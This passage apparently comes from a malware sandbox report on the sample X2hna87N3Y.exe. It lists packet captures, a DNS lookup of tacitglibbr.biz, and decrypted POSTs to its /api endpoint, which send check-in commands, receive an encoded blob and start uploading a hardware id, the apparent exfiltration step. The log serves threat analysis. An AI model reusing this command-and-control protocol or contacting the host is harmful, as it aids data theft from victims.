Dec 17, 2024 09:45:00.568123102 CET	443	49735	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:00.568397999 CET	49735	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:00.568474054 CET	49735	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:00.568490982 CET	443	49735	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:01.807569027 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:01.807615995 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:01.807774067 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:01.808024883 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:01.808042049 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.023324966 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.023442984 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.028511047 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.028522968 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.028852940 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.036089897 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.036845922 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.036896944 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.037327051 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.037363052 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.037467003 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.037545919 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.037659883 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.037693024 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.037806034 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.037842989 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.037908077 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.037918091 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.037961960 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.037985086 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.038016081 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.038039923 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.038113117 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.038137913 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.038155079 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.038172960 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.038268089 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.038294077 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.079339981 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:03.079529047 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.079555988 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.108869076 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:03.108890057 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:05.480267048 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:05.480375051 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:05.480483055 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:05.480643988 CET	49740	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:05.480664015 CET	443	49740	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:05.491220951 CET	49743	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:05.491270065 CET	443	49743	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:05.491556883 CET	49743	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:05.491739988 CET	49743	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:05.491745949 CET	443	49743	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:06.714467049 CET	443	49743	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:06.714843988 CET	49743	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:06.718406916 CET	49743	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:06.718416929 CET	443	49743	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:06.718725920 CET	443	49743	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:06.726628065 CET	49743	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:06.726628065 CET	49743	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:06.726815939 CET	443	49743	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:07.453095913 CET	443	49743	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:07.453372002 CET	443	49743	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:07.453458071 CET	49743	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:07.453542948 CET	49743	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:07.453542948 CET	49743	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:45:07.453566074 CET	443	49743	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:07.453572035 CET	443	49743	104.21.50.161	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 09:44:44.702846050 CET	54326	53	192.168.2.4	1.1.1.1
Dec 17, 2024 09:44:45.018381119 CET	53	54326	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 09:44:44.702846050 CET	192.168.2.4	1.1.1.1	0xb986	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 09:44:45.018381119 CET	1.1.1.1	192.168.2.4	0xb986	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 17, 2024 09:44:45.018381119 CET	1.1.1.1	192.168.2.4	0xb986	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tacitglibbr.biz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.50.161	443	7536	C:\Users\user\Desktop\X2hna87N3Y.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 08:44:46 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-17 08:44:46 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-17 08:44:47 UTC	1038	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 08:44:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2pkqkbejmjdfev3o7aj9cshevb; expires=Sat, 12-Apr-2025 02:31:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pO%2FwRO9zxO9qH1ZTwmiXohayZhEWwPioOX8BcPnfPJY%2FR898wLqe2oz34RxUnqNSNBGYEYJCYv7NjHtVuqobbSIChfyOO%2FVXkGM2u0kpmPQ13CMC%2F0bwbWclYjgtT8r94I8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35a216c9e642ea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3604&min_rtt=2355&rtt_var=1775&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=1239915&cwnd=143&unsent_bytes=0&cid=0f55ae176e3ad717&ts=1008&x=0"
2024-12-17 08:44:47 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-17 08:44:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.50.161	443	7536	C:\Users\user\Desktop\X2hna87N3Y.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 08:44:48 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: tacitglibbr.biz
2024-12-17 08:44:48 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--7911731954&j=
2024-12-17 08:44:49 UTC	1037	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 08:44:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5d59o0refr4flp0v0m9345dplo; expires=Sat, 12-Apr-2025 02:31:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=elwcBqOEp%2B9mdzv1EImN3UFJwRiNCOhxLfqf3K7zibXMi5je2W0h%2FvdOENW%2FINncT2scRah3eFlV0660sj23hjdyjRiYpeNXiyBUnjYb16sEeU4gFj5gQiQQmLv%2ByPTSBR0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35a224fa94c434-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1481&min_rtt=1478&rtt_var=562&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=951&delivery_rate=1935056&cwnd=196&unsent_bytes=0&cid=6332c3b902aad9da&ts=1058&x=0"
2024-12-17 08:44:49 UTC	332	IN	Data Raw: 33 35 64 35 0d 0a 35 59 30 2f 47 78 75 67 34 37 51 6f 6d 42 76 76 6e 47 71 4a 32 2b 6d 42 6d 62 4f 62 35 47 79 37 49 57 35 4b 64 71 6f 51 46 78 75 65 72 30 6b 35 49 5a 54 50 6c 6c 76 39 4f 64 58 6f 47 50 79 2b 78 61 50 34 31 37 6e 65 43 74 70 4e 48 53 39 61 69 47 5a 36 4f 64 2f 72 58 6e 64 6f 78 63 2b 57 54 65 41 35 31 63 63 52 71 37 36 48 6f 36 4f 52 2f 6f 34 4f 32 6b 30 4d 4b 78 33 46 59 48 74 34 6a 65 46 59 63 33 37 44 68 39 56 45 39 58 36 4b 2b 51 76 6a 74 59 44 73 38 64 36 35 79 45 37 65 57 30 78 77 56 4f 64 31 59 33 71 6f 37 45 78 77 4f 64 33 50 7a 77 72 39 64 63 32 6d 53 4f 69 2b 69 2b 33 2f 31 2f 43 4d 42 4e 4e 46 44 53 34 63 32 6e 6c 78 63 34 33 76 57 33 4a 30 79 70 50 59 54 76 4a 31 6a 50 4d 4c 71 2f 66 4c 35 4f 4f 52 6f 63 5a 64 36 30 41 64 4f Data Ascii: 35d55Y0/Gxug47QomBvvnGqJ2+mBmbOb5Gy7IW5KdqoQFxuer0k5IZTPllv9OdXoGPy+xaP417neCtpNHS9aiGZ6Od/rXndoxc+WTeA51ccRq76Ho6OR/o4O2k0MKx3FYHt4jeFYc37Dh9VE9X6K+QvjtYDs8d65yE7eW0xwVOd1Y3qo7ExwOd3Pzwr9dc2mSOi+i+3/1/CMBNNFDS4c2nlxc43vW3J0ypPYTvJ1jPMLq/fL5OORocZd60AdO
2024-12-17 08:44:49 UTC	1369	IN	Data Raw: 71 53 41 38 67 44 45 32 59 4e 69 48 56 35 4f 64 2b 76 57 33 64 34 7a 34 48 45 51 76 46 79 69 4f 77 44 34 72 53 47 34 2f 62 62 39 6f 55 4f 33 6b 6b 47 4a 78 37 4d 66 33 68 2f 68 2b 38 64 4e 7a 6e 46 6d 5a 59 53 75 6c 71 49 37 67 2f 6e 72 38 6e 5a 75 38 36 33 6e 30 37 65 54 30 78 77 56 4d 42 33 64 6e 71 4d 34 46 35 78 63 74 43 42 78 45 7a 33 66 4a 2f 34 44 65 57 7a 69 50 48 78 33 2f 2b 46 42 39 4a 4b 43 53 38 51 69 44 77 31 66 70 2b 76 42 54 6c 59 7a 34 72 61 51 4f 31 35 7a 65 46 47 38 76 6d 4d 37 37 75 4a 75 59 49 50 33 55 49 49 4a 68 72 4d 66 6e 4e 33 69 75 42 62 63 33 6e 46 69 39 35 43 2b 33 53 47 38 51 6a 75 74 49 2f 6c 39 39 44 38 78 6b 43 5a 52 42 52 6f 54 49 68 63 63 6e 71 56 72 57 68 36 64 38 79 47 77 41 72 6c 4e 35 53 2b 44 2b 66 35 30 36 50 31 31 Data Ascii: qSA8gDE2YNiHV5Od+vW3d4z4HEQvFyiOwD4rSG4/bb9oUO3kkGJx7Mf3h/h+8dNznFmZYSulqI7g/nr8nZu863n07eT0xwVMB3dnqM4F5xctCBxEz3fJ/4DeWziPHx3/+FB9JKCS8QiDw1fp+vBTlYz4raQO15zeFG8vmM77uJuYIP3UIIJhrMfnN3iuBbc3nFi95C+3SG8QjutI/l99D8xkCZRBRoTIhccnqVrWh6d8yGwArlN5S+D+f506P11
2024-12-17 08:44:49 UTC	1369	IN	Data Raw: 58 41 77 73 77 56 4a 41 79 52 47 36 4d 72 57 68 36 64 38 79 47 77 41 72 6c 4e 35 53 2b 44 2b 66 35 30 36 50 32 32 66 79 44 41 64 68 4a 41 69 30 65 78 48 70 37 65 70 58 67 57 58 6c 31 79 6f 76 62 52 50 35 78 68 50 55 44 37 62 6d 4b 36 62 75 66 75 59 45 57 6d 52 74 4d 48 42 50 45 66 33 6f 37 73 75 78 54 64 33 37 55 77 63 6b 45 34 7a 6d 4b 38 6b 69 7a 2b 59 66 71 2b 39 72 7a 67 67 37 65 54 67 6b 72 45 38 74 2f 63 6e 4f 4a 36 46 6c 31 63 4d 2b 48 31 6b 33 2b 66 4a 2f 37 41 65 65 31 79 36 32 37 31 75 48 47 56 70 6c 73 43 7a 34 58 35 33 46 6b 63 4d 66 77 45 32 41 35 78 59 32 57 45 72 70 2b 69 50 59 44 37 62 47 4c 38 66 37 66 38 6f 63 45 33 30 49 42 4a 42 4c 49 63 33 56 2f 69 2b 39 61 66 6d 76 51 68 4e 42 59 38 44 6e 44 76 67 2f 7a 2b 64 4f 6a 7a 63 48 75 6c 78 Data Ascii: XAwswVJAyRG6MrWh6d8yGwArlN5S+D+f506P22fyDAdhJAi0exHp7epXgWXl1yovbRP5xhPUD7bmK6bufuYEWmRtMHBPEf3o7suxTd37UwckE4zmK8kiz+Yfq+9rzgg7eTgkrE8t/cnOJ6Fl1cM+H1k3+fJ/7Aee1y6271uHGVplsCz4X53FkcMfwE2A5xY2WErp+iPYD7bGL8f7f8ocE30IBJBLIc3V/i+9afmvQhNBY8DnDvg/z+dOjzcHulx
2024-12-17 08:44:49 UTC	1369	IN	Data Raw: 4a 78 7a 41 66 58 70 39 69 65 6c 62 64 48 7a 4e 69 38 52 43 39 48 53 47 38 51 50 35 75 59 62 6e 39 39 58 78 6a 51 53 5a 44 55 77 76 44 49 67 71 4e 55 79 4b 34 46 31 36 62 34 4b 65 6d 46 4f 36 66 6f 47 2b 55 4b 75 31 68 65 50 30 33 66 57 4e 42 74 68 50 41 69 38 52 77 58 70 39 61 34 62 72 56 58 68 33 7a 59 44 53 54 2f 39 39 69 76 6f 4f 35 50 6e 46 6f 2f 7a 4a 75 64 35 4f 39 6d 51 35 61 6a 58 79 4d 6d 6f 33 6e 71 39 61 64 54 6d 61 77 64 70 4a 39 6e 47 43 2b 41 48 6e 73 34 4c 6f 39 39 72 39 69 67 66 63 52 51 30 74 45 63 6c 32 65 58 4f 42 37 46 35 32 64 73 32 4a 6c 67 53 36 66 70 57 2b 55 4b 75 63 6e 4f 6a 31 31 37 6d 5a 51 4d 41 44 43 79 52 55 6b 44 4a 35 63 49 48 70 57 48 56 34 78 49 6e 54 51 76 35 34 69 2f 67 4c 35 4c 32 4f 34 76 54 56 39 59 67 45 32 45 49 Data Ascii: JxzAfXp9ielbdHzNi8RC9HSG8QP5uYbn99XxjQSZDUwvDIgqNUyK4F16b4KemFO6foG+UKu1heP03fWNBthPAi8RwXp9a4brVXh3zYDST/99ivoO5PnFo/zJud5O9mQ5ajXyMmo3nq9adTmawdpJ9nGC+AHns4Lo99r9igfcRQ0tEcl2eXOB7F52ds2JlgS6fpW+UKucnOj117mZQMADCyRUkDJ5cIHpWHV4xInTQv54i/gL5L2O4vTV9YgE2EI
2024-12-17 08:44:49 UTC	1369	IN	Data Raw: 6e 56 36 66 59 44 6a 57 33 5a 2f 77 34 54 63 52 76 31 38 68 76 45 45 71 2f 66 4c 35 4f 4f 52 6f 63 59 67 30 6c 41 62 4b 78 72 44 5a 47 34 35 6d 4b 46 45 4f 58 37 4f 77 59 34 4b 2b 58 4b 47 2b 67 6a 6e 75 59 2f 75 2b 38 50 32 67 51 6e 51 53 42 34 69 45 38 39 35 66 58 4b 49 36 55 39 31 64 39 43 45 78 46 69 36 4e 38 33 35 45 4b 76 68 79 39 58 38 77 65 6d 46 54 4f 68 56 44 7a 34 66 78 58 34 31 5a 73 6e 32 48 58 35 31 67 74 6d 57 54 50 56 77 6a 76 45 4a 34 72 57 47 35 76 4c 55 2b 49 41 4b 30 30 6b 4d 4c 68 4c 4a 64 33 39 36 68 75 56 55 66 6e 48 46 67 73 51 4b 74 44 6d 4b 35 6b 69 7a 2b 61 4c 6b 36 64 2f 70 78 68 47 58 57 6b 77 76 47 49 67 71 4e 58 32 4e 34 46 6c 2b 64 63 53 45 30 45 66 37 64 6f 7a 2b 42 2b 2b 79 67 75 58 36 33 50 79 4c 43 73 74 4a 42 79 63 59 Data Ascii: nV6fYDjW3Z/w4TcRv18hvEEq/fL5OORocYg0lAbKxrDZG45mKFEOX7OwY4K+XKG+gjnuY/u+8P2gQnQSB4iE895fXKI6U91d9CExFi6N835EKvhy9X8wemFTOhVDz4fxX41Zsn2HX51gtmWTPVwjvEJ4rWG5vLU+IAK00kMLhLJd396huVUfnHFgsQKtDmK5kiz+aLk6d/pxhGXWkwvGIgqNX2N4Fl+dcSE0Ef7doz+B++yguX63PyLCstJBycY
2024-12-17 08:44:49 UTC	1369	IN	Data Raw: 4f 43 35 56 42 36 64 73 47 54 31 30 7a 6f 65 59 44 30 47 75 47 79 6a 75 37 32 33 50 71 41 43 4e 4a 50 48 69 45 55 79 33 6b 31 4e 38 66 6f 52 54 6b 68 67 71 4c 42 58 50 42 2b 67 65 67 44 36 72 71 64 37 75 75 52 74 38 59 66 33 6c 4a 4d 63 41 4c 59 5a 58 4a 6d 79 66 59 64 66 6e 57 43 32 5a 5a 4d 38 33 2b 4b 2b 41 62 35 76 49 33 73 39 4e 6a 77 67 67 62 61 51 77 67 73 45 38 31 78 65 58 4b 41 37 46 4a 39 63 4d 79 49 32 51 71 30 4f 59 72 6d 53 4c 50 35 71 76 6a 34 33 66 54 47 45 5a 64 61 54 43 38 59 69 43 6f 31 64 59 6e 71 58 58 4e 2f 78 6f 54 51 51 50 39 35 68 76 30 48 37 37 2b 50 37 50 76 61 38 49 63 49 33 45 6b 48 4c 68 6e 4c 64 48 4d 35 79 61 39 61 59 54 6d 61 77 66 5a 52 39 33 57 4b 76 68 65 6c 6f 4d 76 6b 39 35 47 68 78 67 58 56 52 77 73 6f 47 63 74 36 63 Data Ascii: OC5VB6dsGT10zoeYD0GuGyju723PqACNJPHiEUy3k1N8foRTkhgqLBXPB+gegD6rqd7uuRt8Yf3lJMcALYZXJmyfYdfnWC2ZZM83+K+Ab5vI3s9NjwggbaQwgsE81xeXKA7FJ9cMyI2Qq0OYrmSLP5qvj43fTGEZdaTC8YiCo1dYnqXXN/xoTQQP95hv0H77+P7Pva8IcI3EkHLhnLdHM5ya9aYTmawfZR93WKvheloMvk95GhxgXVRwsoGct6c
2024-12-17 08:44:49 UTC	1369	IN	Data Raw: 4c 65 6c 62 42 6b 4e 38 4b 74 44 6d 4b 36 45 69 7a 2b 62 57 6a 36 64 4c 70 68 51 48 49 66 55 78 77 44 66 59 79 66 6d 2b 41 2f 31 35 76 63 73 2b 4e 78 33 53 36 49 64 6d 73 57 72 6e 72 32 66 79 37 7a 73 62 49 54 74 67 44 56 42 45 4e 69 47 51 31 49 64 57 68 48 57 73 35 6d 73 47 52 53 65 68 72 69 2f 30 65 36 50 36 31 33 64 7a 48 38 34 45 65 33 6c 51 44 61 46 71 49 66 54 55 68 76 71 39 55 66 6d 4c 54 6c 39 74 61 2f 54 6d 79 73 45 6a 7a 2b 64 4f 6a 7a 74 4c 33 69 41 6e 50 55 6b 45 50 41 73 4a 31 5a 58 36 51 34 42 30 33 4f 63 54 42 6a 68 6d 30 4f 59 6e 76 53 4c 50 70 32 62 69 75 67 71 37 57 58 4d 59 4e 46 57 67 43 69 43 6f 6e 4e 38 66 39 48 53 45 35 68 59 4c 45 57 50 78 36 6d 2f 31 50 31 59 65 73 2b 66 62 58 37 70 63 77 35 30 51 57 4a 52 4c 66 59 7a 6c 73 68 4f Data Ascii: LelbBkN8KtDmK6Eiz+bWj6dLphQHIfUxwDfYyfm+A/15vcs+Nx3S6IdmsWrnr2fy7zsbITtgDVBENiGQ1IdWhHWs5msGRSehri/0e6P613dzH84Ee3lQDaFqIfTUhvq9UfmLTl9ta/TmysEjz+dOjztL3iAnPUkEPAsJ1ZX6Q4B03OcTBjhm0OYnvSLPp2biugq7WXMYNFWgCiConN8f9HSE5hYLEWPx6m/1P1Yes+fbX7pcw50QWJRLfYzlshO
2024-12-17 08:44:49 UTC	1369	IN	Data Raw: 67 73 2b 57 54 4c 6f 68 33 62 42 49 37 36 6a 4c 75 36 75 44 6f 74 4e 64 6a 68 4e 65 4e 31 72 52 4d 6d 4d 35 33 37 30 54 4f 57 75 43 32 5a 59 4e 2b 57 75 66 2b 41 76 39 75 73 7a 64 78 66 62 33 67 51 2f 50 55 78 73 6e 4b 76 5a 6e 64 6e 65 4a 36 45 74 6f 4f 59 7a 42 32 51 71 69 51 4d 32 32 53 4e 54 33 79 2f 75 37 69 62 6d 7a 44 64 64 4e 43 7a 34 46 68 56 56 37 66 6f 62 35 54 57 35 32 67 73 2b 57 54 4c 6f 68 33 37 42 49 37 36 6a 4c 75 36 75 44 6f 74 4e 64 6a 68 4e 65 4e 31 72 52 4d 6d 4d 35 33 37 30 54 4f 57 75 43 32 5a 59 4e 2b 57 75 66 2b 41 76 39 75 73 7a 64 78 66 62 33 67 51 2f 50 55 78 73 6e 57 2b 5a 45 56 45 65 35 2b 6c 35 33 64 38 57 58 78 77 71 30 4f 59 4b 2b 55 4e 4c 35 77 36 50 45 6e 37 6d 65 54 6f 45 44 4f 53 73 61 78 6e 56 6a 61 4d 72 49 55 33 35 Data Ascii: gs+WTLoh3bBI76jLu6uDotNdjhNeN1rRMmM5370TOWuC2ZYN+Wuf+Av9uszdxfb3gQ/PUxsnKvZndneJ6EtoOYzB2QqiQM22SNT3y/u7ibmzDddNCz4FhVV7fob5TW52gs+WTLoh37BI76jLu6uDotNdjhNeN1rRMmM5370TOWuC2ZYN+Wuf+Av9uszdxfb3gQ/PUxsnW+ZEVEe5+l53d8WXxwq0OYK+UNL5w6PEn7meToEDOSsaxnVjaMrIU35
2024-12-17 08:44:49 UTC	1369	IN	Data Raw: 31 6a 39 61 59 36 38 4f 65 61 39 6e 66 62 34 77 66 36 34 4d 50 52 52 43 7a 67 58 69 6b 4e 6a 65 6f 66 68 57 6a 6b 33 67 70 6d 57 45 72 70 55 6e 2f 6b 59 36 50 6e 46 6f 2f 65 52 6f 63 59 44 79 30 51 63 4b 31 6a 50 61 48 49 35 6d 4b 46 45 4f 57 2b 43 32 59 55 45 75 6d 76 4e 70 6b 69 73 74 34 62 69 2b 4e 2f 36 6c 42 7a 66 51 42 6f 72 55 2f 5a 4d 57 47 75 41 2f 31 34 37 53 4d 2b 46 77 46 2f 35 61 59 72 41 4e 73 61 72 6a 50 50 34 6b 39 57 42 41 39 56 39 4d 68 38 46 7a 32 49 33 58 34 54 35 58 6a 6b 33 67 70 6d 57 45 72 70 55 6e 2f 6b 59 36 50 75 6e 35 50 62 64 75 5a 6c 41 77 41 4d 61 61 45 79 62 50 44 56 72 78 37 63 64 50 6e 72 51 6b 39 42 4a 37 48 72 4b 77 44 62 47 71 34 7a 7a 2b 4a 50 49 69 77 72 50 56 67 38 34 45 2f 5a 4d 57 47 75 41 2f 31 34 37 58 50 6a 44 Data Ascii: 1j9aY68Oea9nfb4wf64MPRRCzgXikNjeofhWjk3gpmWErpUn/kY6PnFo/eRocYDy0QcK1jPaHI5mKFEOW+C2YUEumvNpkist4bi+N/6lBzfQBorU/ZMWGuA/147SM+FwF/5aYrANsarjPP4k9WBA9V9Mh8Fz2I3X4T5Xjk3gpmWErpUn/kY6Pun5PbduZlAwAMaaEybPDVrx7cdPnrQk9BJ7HrKwDbGq4zz+JPIiwrPVg84E/ZMWGuA/147XPjD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.50.161	443	7536	C:\Users\user\Desktop\X2hna87N3Y.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 08:44:51 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=47HA2BJC5LRQZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18138 Host: tacitglibbr.biz
2024-12-17 08:44:51 UTC	15331	OUT	Data Raw: 2d 2d 34 37 48 41 32 42 4a 43 35 4c 52 51 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 46 45 35 37 32 39 34 42 33 46 43 34 35 45 45 34 33 30 42 36 43 45 35 35 34 38 33 35 41 39 0d 0a 2d 2d 34 37 48 41 32 42 4a 43 35 4c 52 51 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 37 48 41 32 42 4a 43 35 4c 52 51 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 0d 0a 2d 2d 34 37 48 41 32 42 Data Ascii: --47HA2BJC5LRQZContent-Disposition: form-data; name="hwid"88FE57294B3FC45EE430B6CE554835A9--47HA2BJC5LRQZContent-Disposition: form-data; name="pid"2--47HA2BJC5LRQZContent-Disposition: form-data; name="lid"yau6Na--7911731954--47HA2B
